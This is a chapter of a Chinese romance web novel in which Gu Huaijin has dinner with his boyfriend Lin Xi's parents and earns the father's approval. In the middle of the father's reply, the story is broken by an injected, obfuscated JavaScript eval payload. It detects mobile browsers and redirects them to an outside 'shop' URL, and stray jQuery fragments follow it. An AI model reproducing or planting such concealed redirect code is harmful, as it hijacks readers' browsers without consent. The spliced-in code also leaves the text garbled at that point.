第二天下午五点，顾怀瑾准时按响了林家的门铃。
他穿着简单的深灰色针织衫和黑色长裤，手里提着两盒茶叶和一瓶酒——都是林溪昨晚特意嘱咐的：“我爸喜欢普洱，酒不用太贵，但一定要酱香型的。”
开门的是林母。她眼睛还有些肿，但脸上带着温和的笑容：“怀瑾来了，快进来。”
“阿姨好。”顾怀瑾微微欠身，递上礼物，“一点心意。”
“太客气了。”林母接过，“溪溪在厨房帮我，你先坐。”
客厅里，林父正坐在沙发上看报纸。听见动静，他放下报纸，目光在顾怀瑾身上停留了几秒。
“林叔叔。”顾怀瑾再次欠身。
“坐。”林父指了指对面的沙发。
气氛有些僵硬。顾怀瑾坐下，腰背挺直，双手自然地放在膝盖上。他在紧张——林溪看得出来，从厨房探出头时，他看到顾怀瑾的喉结轻轻滚动了一下。
“听溪溪说，你们在云南的项目做得很成功。”林父开口，语气听不出情绪。
“是村民们的功劳。”顾怀瑾说，“他们提供了大部分人力，也贡献了很多当地智慧。我们只是做了些技术指导和设计优化。”
这个回答很得体，既不自夸，也不贬低当地人的贡献。林父的表情松动了一分。
“祠堂那个天窗……是溪溪独立设计的？”
“是的。”顾怀瑾的眼中闪过骄傲，“林溪对传统建筑的理解很深刻。他看了我父亲的笔记，结合当地的木工技艺，设计出了那个可开合的格栅系统。不仅美观实用，造价也比原计划降低了15%。”
林父端起茶杯抿了一口：“造价控制得不错。做公益项目，最怕的就是不计成本。”
“我们做了详细的成本核算。”顾怀瑾从包里拿出另一份文件，“这是完整的项目账目，每一笔支出都有记录。事务所的财务已经审核过了。”
林父接过文件，仔细翻阅。越看，眉头皱得越紧——不是不满意，而是惊讶。这份账目做得极其细致，连一根钉子的钱都记清楚了。最后的结余竟然还有三万多元，准备用于祠堂后期的维护基金。
“这些……都是你教溪溪的？”林父抬头。
顾怀瑾摇头：“成本控制是林溪自己做的。他在大学期间就在设计院实习过，对预算有概念。这次只是把理论用到实践中。”
厨房里，林溪听着外面的对话，手心冒汗。母亲轻轻拍了拍他的手：“别担心，你爸就是这样，工作上的事，他认真惯了。”
“可是……”
“他能问工作上的事，就说明他在试着了解怀瑾。”林母轻声说，“你爸这个人，看人先看做事的态度。如果怀瑾在专业上能让他认可，其他的……就好谈多了。”
果然，客厅里的对话渐渐深入。
“听说你父亲也是做建筑的？”林父问。
“是。结构工程师，做了一辈子。”顾怀瑾的声音低了一些，“他走得早，没看到我现在的样子。”
林父沉默片刻：“我父亲也是建筑师。溪溪的祖父。”
“我知道。林老先生的《地域性建筑实践》我读过三遍，受益匪浅。”
这句话让林父有些意外：“那本书已经绝版了。”
“我在旧书网上淘到的。”顾怀瑾说，“书页边缘有很多批注，应该是林老先生的手笔。那些批注给了我很多启发，尤其是关于‘建筑要顺应自然，而不是征服自然’的观点。”
林父心里赞同但面上不显。
“你父亲……”林父顿了顿，“如果知道你现在做的事，会骄傲的。”
顾怀瑾的眼眶微微发红：“谢谢您。”
这一刻，一个爱着自己孩子的父亲和失去父亲的孩子，在无言中达成了某种理解。
---
“开饭了。”林母端着菜出来，打破了有些沉重的气氛。
餐桌上摆着四菜一汤：糖醋排骨、清蒸鲈鱼、蒜薹炒腊肠、麻婆豆腐，还有一个排骨玉米汤。都是家常菜，但做得精致。
四人落座。林溪坐在顾怀瑾旁边，桌下，他的手悄悄握住了顾怀瑾的。
“怀瑾，不知道你口味，就做了些家常菜。”林母笑着说，“尝尝合不合胃口。”
顾怀瑾夹了一块排骨，认真品尝后说：“很好吃。我很久没吃到这么地道的家常菜了。”
“你自己不做饭？”林父问。
“做，但就会几道简单的。”顾怀瑾老实说，“以前一个人住，经常凑合。和林溪在一起后，才开始认真做饭。”
林母眼睛一亮：“溪溪也会做饭了？”
“会几道简单的。”林溪有点不好意思，“都是我们俩一起学的。”
这个细节让林母很满意——一个愿意和伴侣学做菜的男人，至少是认真过日子的。
饭桌上，话题渐渐轻松。顾怀瑾讲了些事务所的趣事，林溪说了云岭村孩子们的笑话，林母不时插话，气氛渐渐融洽。
只有林父，大部分时间沉默，只是静静听着。
饭后，林母收拾碗筷，林溪要帮忙，被她赶去客厅：“陪你爸和怀瑾说说话。”
客厅里又只剩下三个男人。林父泡了一壶新茶，给每人倒了一杯。
“怀瑾，”他开口，语气严肃，“有件事我必须问清楚。”
“您说。”
“你对未来有什么规划？”林父直视他的眼睛，“我不是问工作，是问……你和溪溪的未来。”
顾怀瑾放下茶杯，坐直身体：“我计划在三年内，和林溪一起成立自己的工作室。不是要离开现在的事务所，而是作为一个独立的分支，专门做社会关怀类建筑——就像云岭村那样的项目。”
林父挑眉：“这样的项目不赚钱。”
“是不赚大钱，但能维持运营。”顾怀瑾说，“而且，我和林溪都认为，建筑的价值不应该只用金钱衡量。我们希望能留下一些真正对人有意义的作品。”
他顿了顿，继续说：“至于生活方面，我名下有房产，经济状况稳定。如果林溪愿意，我们可以去国外注册结婚——虽然国内还不承认，但在法律上能给我们一些保障。当然，这要看林溪的想法。”
林父沉默片刻，问出了最核心的问题：“怀瑾，你比溪溪大十岁。你想过没有，当你步入中年、老年的时候，溪溪还在壮年。这种年龄差带来的问题，你们如何面对？”
这个问题直指要害。林溪的心提了起来。
顾怀瑾的表情却依然平静：“我想过，不止一次。正因为想过，我才更确定我的选择。”
他看着林父，眼神坦诚：“林叔叔，我承认，年龄差是客观存在的。当我五十岁时，林溪才四十岁，正是事业的黄金期。当我六十岁可能想要退休生活时，他可能还在事业的巅峰。”
“但是，”他话锋一转，“年龄差也意味着我比他多了十年的人生经验。我可以在他迷茫时给予指引，在他冲动时提醒他冷静。而他的年轻活力，又能让我保持对生活的热情，不被岁月磨去棱角。”
他转向林溪，眼中满是温柔：“在云南时，有天晚上我们讨论祠堂的设计。林溪提出了一个很大胆的想法，我当时第一反应是‘这太冒险’。但他说：‘如果永远不冒险，就永远不会有突破。’那一刻我意识到，不是我比他年长就应该总是对的。相反，很多时候，他的年轻视角能看到我看不到的可能性。”
林父若有所思。
“至于您担心的未来，”顾怀瑾继续说，“我已经做好了规划。我的保险、理财都会把林溪作为受益人。如果……如果真有我先走的那一天，我要确保他能生活无忧，继续他热爱的事业。”
这话说得林溪眼眶发热。
林父盯着顾怀瑾看了很久，最后缓缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193514|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口：“最后一个问题。如果你的家人反对，你会怎么做？”
这个问题让顾怀瑾愣了一下，随即笑了：“我的家人都很支持。我姐姐已经见过林溪，很喜欢他。至于我父母……如果他们还在世，我相信他们也会支持的。”
他从口袋里拿出手机，翻出一张照片：“这是我母亲的日记本里夹着的一页。去年整理遗物时发现的。”
手机屏幕上是一页泛黄的纸，娟秀的字迹写着：
“今天怀瑾放学回家，说以后要当建筑师。我问他为什么。他说：‘因为建筑能让人们过得更好。’这个孩子，从小就有一颗温柔的心。将来不管他选择什么样的路，爱什么样的人，只要他幸福就好。”
日期是顾怀瑾十二岁生日那天——母亲去世前三个月。
林父看着那页日记，久久不语。
“我父亲走得早，”顾怀瑾轻声说，“但他留给我最多的，是对工作的认真，对家人的珍视。如果他知道我现在找到了想要共度一生的人，一定也会为我高兴。”
客厅里安静下来。窗外的天色已经完全暗了，路灯的光透过窗户洒进来。
许久，林父长长叹了口气，站起身，走到顾怀瑾面前，伸出手：“记住你今天说的话。”
顾怀瑾站起来，郑重地握住他的手：“我会用一生来证明。”
两个男人的手紧紧相握。这一刻，所有的隔阂、怀疑、担忧，都在这个握手中化为无声的承诺。
林母从厨房出来，看到这一幕，眼眶又红了，但这次是喜悦的泪水。
“好了好了，都是一家人了，说这些干什么。”她走过来，“怀瑾，以后常来家里吃饭，阿姨给你做好吃的。”
“谢谢阿姨。”
“还叫阿姨？”林母嗔怪道。
顾怀瑾一愣，随即反应过来，眼眶发热：“谢谢……妈。”
这个称呼让林母的眼泪又出来了，但她笑得很开心：“哎，好孩子。”
林父虽然没说什么，但拍了拍顾怀瑾的肩膀，这个动作已经说明了一切。
---
晚上九点，顾怀瑾和林溪一起离开。
走到楼下，林溪突然转身紧紧抱住顾怀瑾：“你刚才……把一切都想好了。”
“当然要想好。”顾怀瑾搂紧他，“我爱你，不是一时冲动，是要和你走完一辈子的。每一步都要想清楚，为你，也为我们。”
林溪把脸埋在他肩头，声音闷闷的：“你连保险受益人……都想好了。”
“那是最基本的。”顾怀瑾轻吻他的头发，“我要确保，无论发生什么，你都能过得好。”
“顾怀瑾。”
“嗯？”
“我们会幸福的，对吧？”
顾怀瑾低头，额头抵着他的额头，在路灯下凝视着他的眼睛：“会的。我保证。”
他吻了吻林溪的唇，很轻，却郑重。
夜风吹过，带着初秋的凉意。但相拥的两个人，心里都是暖的。
他们知道，前路还会有风雨，还会有挑战。但有了家人的祝福，有了彼此的爱，再难的路，他们也能并肩走过。
而此刻，在林家客厅的窗前，林父林母并肩站着，看着楼下相拥的两人。
“老林，”林母轻声说，“我看怀瑾这孩子，是认真的。”
林父沉默良久，最后叹了口气，语气却松动了：“他对溪溪……是真好。连他母亲的日记都带来了。”
“那孩子不容易。”林母感叹，“那么小就没了妈，爸也走得早。但他长成了一个很好的人。”
“是啊。”林父的目光追随着楼下那两个身影，“溪溪跟他在一起，应该……会幸福。”
他搂住妻子的肩，两人静静看着楼下那对相爱的年轻人，眼中是同样的祝福。
星光洒落，照亮了回家的路，也照亮了所有相爱的人。